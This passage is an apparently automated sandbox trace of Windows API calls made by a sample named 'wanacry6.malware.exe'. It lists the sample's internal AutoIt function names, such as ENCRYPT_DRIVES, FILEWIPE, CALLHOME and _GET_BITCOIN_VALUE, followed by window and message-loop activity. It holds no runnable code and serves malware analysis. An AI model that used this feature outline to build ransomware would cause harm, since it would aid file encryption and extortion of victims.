lpsz="__CRYPT_REFCOUNT") returned 0x10 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0018.474] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0018.474] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0018.474] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0018.474] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0018.474] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0018.475] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0018.475] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0018.475] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0018.475] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0018.475] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0018.475] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0018.475] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0018.475] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0018.475] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0018.475] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0018.475] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0018.475] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0018.475] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0018.475] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0018.475] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0018.475] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0018.475] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0018.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.475] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0018.475] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0018.475] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0018.475] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0018.475] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0018.475] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0018.475] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0018.475] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0018.475] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0018.475] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0018.475] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0018.475] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0018.475] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0018.476] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0018.476] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0018.476] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0018.476] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0018.476] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0018.476] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0018.476] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0018.476] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0018.476] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0018.476] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0018.476] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0018.476] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0018.476] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0018.476] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0018.476] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0018.476] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0018.476] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0018.476] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0018.476] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0018.476] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0018.476] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0018.476] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0018.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3defc90, lpFilePart=0xe8f3dffca0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0xe8f3dffca0*="wanacry6.malware.exe") returned 0x31 [0018.477] AllocateAndInitializeSid (in: pIdentifierAuthority=0xe8f3dffca8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xe8f3dffcb0 | out: pSid=0xe8f3dffcb0) returned 1 [0018.477] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xe8f41778a0, IsMember=0xe8f3dffca0 | out: IsMember=0xe8f3dffca0) returned 1 [0018.477] GetSysColorBrush (nIndex=15) returned 0x1100074 [0018.477] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0018.477] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0xa0113 [0018.478] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x260183 [0018.478] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x900d7 [0018.478] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x601c7 [0018.478] RegisterClassExW (param_1=0xe8f3dffc40) returned 0xc146 [0018.478] GetSysColorBrush (nIndex=15) returned 0x1100074 [0018.478] RegisterClassExW (param_1=0xe8f3dffbb0) returned 0xc119 [0018.478] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0018.478] InitCommonControlsEx (picce=0xe8f3dffc18) returned 1 [0018.479] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xe8f4041ab0 [0018.479] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x20207 [0018.479] ImageList_ReplaceIcon (himl=0xe8f4041ab0, i=-1, hicon=0x20207) returned 0 [0018.480] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x3002c [0018.480] NtdllDefWindowProc_W (hWnd=0x3002c, Msg=0x24, wParam=0x0, lParam=0xe8f3dff690) returned 0x0 [0018.481] NtdllDefWindowProc_W (hWnd=0x3002c, Msg=0x81, wParam=0x0, lParam=0xe8f3dff640) returned 0x1 [0018.497] NtdllDefWindowProc_W (hWnd=0x3002c, Msg=0x83, wParam=0x0, lParam=0xe8f3dff6b0) returned 0x0 [0018.510] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0018.510] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0018.510] CreatePopupMenu () returned 0xc00d9 [0018.510] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x3002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x20216 [0018.517] NtdllDefWindowProc_W (hWnd=0x3002c, Msg=0x210, wParam=0x10001, lParam=0x20216) returned 0x0 [0018.517] ShowWindow (hWnd=0x3002c, nCmdShow=0) returned 0 [0018.517] ShowWindow (hWnd=0x3002c, nCmdShow=0) returned 0 [0018.517] Shell_NotifyIconW (dwMessage=0x0, lpData=0xe8f3dff8c0) returned 1 [0018.526] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dff4c0) returned 1 [0018.527] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 1 [0018.527] TranslateMessage (lpMsg=0xe8f3dffac0) returned 0 [0018.527] DispatchMessageW (lpMsg=0xe8f3dffac0) returned 0x0 [0018.527] NtdllDefWindowProc_W (hWnd=0x3002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0018.527] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.527] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.527] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0018.527] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.527] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0018.527] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.527] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.528] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0018.528] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.529] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.530] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.531] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.532] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.533] PeekMessageW (in: 